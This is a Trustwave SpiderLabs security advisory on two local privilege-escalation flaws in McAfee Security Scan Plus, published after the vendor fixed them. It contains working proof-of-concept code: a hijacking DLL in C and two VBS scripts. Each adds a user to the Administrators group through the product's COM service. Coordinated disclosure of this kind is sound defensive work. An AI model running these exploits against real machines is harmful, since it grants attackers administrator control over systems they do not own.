Trustwave SpiderLabs Security Advisory TWSL2017-002: Multiple Vulnerabilities in McAfee Security Scan Plus Published: 01/23/2017 Version: 1.0 Vendor: Intel Security (mcafee.com) Product: McAfee Security Scan Plus Version affected: prior to 3.11.474.2 Product description: McAfee Security Scan Plus checks computer for anti-virus software, firewall protection, and web security, and threats in your open applications. Finding 1: Privilege escalation to LOCALSYSTEM *****Credit: Martin Rakhmanov of Trustwave CVE: CVE-2016-8008 Using internal API it is possible to execute arbitrary code as LocalSystem on a computer where McAfee Security Scan Plus is installed. Any user capable of running code can elevate privileges via this application. The method to exploit this flaw contains few steps: 1. Copy binary trusted by the McAfee Security Scan Plus to TEMP directory. Trusted means signed by McAfee here. 2. Place malicious DLL in TEMP that will be loaded by the trusted binary. 3. Trigger trusted application execution via internal McAfee Security Scan Component Host Service API. Detailed proof-of-concept instructions to be executed as unprivileged user: 1. Copy signed file C:\Program Files\McAfee Security Scan\3.11.376\McUICnt.exe to C:\Windows\TEMP\ 2. Save this code as version.c and compile using 64-bit compiler: #include #include #pragma comment(linker, "/export:GetFileVersionInfoA=mversion.GetFileVersionInfoA") #pragma comment(linker, "/export:GetFileVersionInfoByHandle=mversion.GetFileVersionInfoByHandle") #pragma comment(linker, "/export:GetFileVersionInfoExW=mversion.GetFileVersionInfoExW") #pragma comment(linker, "/export:GetFileVersionInfoSizeA=mversion.GetFileVersionInfoSizeA") #pragma comment(linker, "/export:GetFileVersionInfoSizeExW=mversion.GetFileVersionInfoSizeExW") #pragma comment(linker, "/export:GetFileVersionInfoSizeW=mversion.GetFileVersionInfoSizeW") #pragma comment(linker, "/export:GetFileVersionInfoW=mversion.GetFileVersionInfoW") #pragma comment(linker, "/export:VerFindFileA=mversion.VerFindFileA") #pragma comment(linker, "/export:VerFindFileW=mversion.VerFindFileW") #pragma comment(linker, "/export:VerInstallFileA=mversion.VerInstallFileA") #pragma comment(linker, "/export:VerInstallFileW=mversion.VerInstallFileW") #pragma comment(linker, "/export:VerLanguageNameA=kernel32.VerLanguageNameA") #pragma comment(linker, "/export:VerLanguageNameW=kernel32.VerLanguageNameW") #pragma comment(linker, "/export:VerQueryValueA=mversion.VerQueryValueA") #pragma comment(linker, "/export:VerQueryValueW=mversion.VerQueryValueW") BOOL WINAPI DllMain(HINSTANCE hDllHandle, DWORD nReason, LPVOID Reserved) { system("net localgroup Administrators james /add"); return TRUE; } Copy resulting dll to C:\WINDOWS\TEMP\ Copy C:\WINDOWS\system32\version.dll to C:\WINDOWS\TEMP\mversion.dll 3. Save this code as VBS script file and run as an unprivileged user james: Option Explicit Dim objHost : Set objHost = CreateObject("McComponentHostService.McCompHost") Dim objAV : Set objAV = objHost.GetObject("{7822F49B-3B6E-4646-86A9-204D7488A1FD}") objAV.Configure("C:\Windows\TEMP\McUICnt.exe") objAV.Scan() objAV.GetReport() Examine user james membership. Finding 2: Arbitrary code execution as LOCALSYSTEM *****Credit: Martin Rakhmanov of Trustwave CVE: CVE-2016-8026 Using internal API it is possible to execute arbitrary code as LocalSystem on a computer where McAfee Security Scan Plus is installed. Any user capable of running code can elevate privileges via this application. Example below launches the net utility to grant Administrators group membership. Save this code as VBS script file and run as an unprivileged user james: Option Explicit Dim objHost, objX Set objHost = CreateObject("McComponentHostService.McCompHost") Set objX = objHost.GetObject("{C4B9CF70-99E3-42A3-ACED-4AE75B2A0EA5}") Call objX.RunProgramEx("C:\WINDOWS\system32\net.exe", "localgroup Administrators james /add", vbNull, False, False) Examine user james membership. Remediation Steps: Upgrade to McAfee Security Scan Plus, version 3.11.474.2 or the latest stable version. Revision History: 09/30/2016 - Finding #1 disclosed to vendor 10/30/2016 - Vendor releases fix for finding #1 11/16/2016 - Finding #1 workaround disclosed to vendor 12/08/2016 - Finding #2 disclosed to vendor 12/15/2016 - Vendor releases fix for finding #2 01/23/2017 - Advisory published References 1. https://service.mcafee.com/webcenter/portal/cp/home/articleview?articleId=TS102593 2. https://service.mcafee.com/webcenter/portal/cp/home/articleview?articleId=TS102614 About Trustwave: Trustwave helps businesses fight cybercrime, protect data and reduce security risk. With cloud and managed security services, integrated technologies and a team of security experts, ethical hackers and researchers, Trustwave enables businesses to transform the way they manage their information security and compliance programs. More than three million businesses are enrolled in the Trustwave TrustKeeper cloud platform, through which Trustwave delivers automated, efficient and cost-effective threat, vulnerability and compliance management. Trustwave is headquartered in Chicago, with customers in 96 countries. For more information about Trustwave, visit https://www.trustwave.com. About Trustwave SpiderLabs: SpiderLabs(R) is the advanced security team at Trustwave focused on application security, incident response, penetration testing, physical security and security research. The team has performed over a thousand incident investigations, thousands of penetration tests and hundreds of application security tests globally. In addition, the SpiderLabs Research team provides intelligence through bleeding-edge research and proof of concept tool development to enhance Trustwave's products and services. https://www.trustwave.com/spiderlabs Disclaimer: The information provided in this advisory is provided "as is" without warranty of any kind. Trustwave disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose. In no event shall Trustwave or its suppliers be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if Trustwave or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply.